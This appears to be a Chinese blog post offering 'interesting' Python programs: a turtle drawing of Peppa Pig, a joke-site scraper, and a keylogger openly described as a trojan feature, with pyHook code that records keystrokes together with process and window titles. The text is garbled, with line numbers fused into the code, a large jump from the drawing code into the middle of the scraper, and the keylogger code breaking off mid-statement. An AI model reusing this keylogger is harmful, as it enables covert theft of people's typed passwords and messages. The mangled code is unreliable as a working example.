为提高大家对“Python”编程语言的学习兴趣,今天给大家分享几款有趣的Python程序代码,感兴趣的小伙伴可以跟着学习借鉴哦!
分享一:"啥是佩奇?"让Python语言告诉你
用Python代码创作一副佩奇:
1. # coding:utf-82. import turtle as t3.4. t.pensize(4)5. t.hideturtle()6. t.colormode(255)7. t.color((255,155,192),"pink")8. t.setup(840,500)9. t.speed(10)10.11. #鼻子12. t.pu()13. t.goto(-100,100)14. t.pd()15. t.seth(-30)16. t.begin_fill()17. a=0.418. for i in range(120):19. if 0 0:66. pageStories = self.stories[0]67. nowPage += 168. del self.stories[0]69. self.getOneStory(pageStories, nowPage)70.71. spider = QSBK()72. spider.start()分享六、木马程序常用的键盘记录功能实现
Python keylogger键盘记录的功能的实现主要使用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些巨大的支持库,正所谓"人生苦短,快用Python"。
代码如下:
# -*- coding: utf-8 -*- from ctypes import *import pythoncomimport pyHookimport win32clipboard user32 = windll.user32kernel32 = windll.kernel32psapi = windll.psapicurrent_window = None #def get_current_process(): # 获取最上层的窗口句柄 hwnd = user32.GetForegroundWindow() # 获取进程ID pid = c_ulong(0) user32.GetWindowThreadProcessId(hwnd,byref(pid)) # 将进程ID存入变量中 process_id = "%d" % pid.value # 申请内存 executable = create_string_buffer("\x00"*512) h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) # 读取窗口标题 windows_title = create_string_buffer("\x00"*512) length = user32.GetWindowTextA(hwnd,byref(windows_title),512) # 打印 print print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value) print # 关闭handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) # 界说击键监听事件函数def KeyStroke(event): global current_window # 检测目标窗口是否转移(换了其他窗口就监听新的窗口) if event.WindowName != current_window: current_window = event.WindowName # 函数调用 get_current_process() # 检测击键是否常规按键(非组合键等) if event.Ascii > 32 and event.Ascii |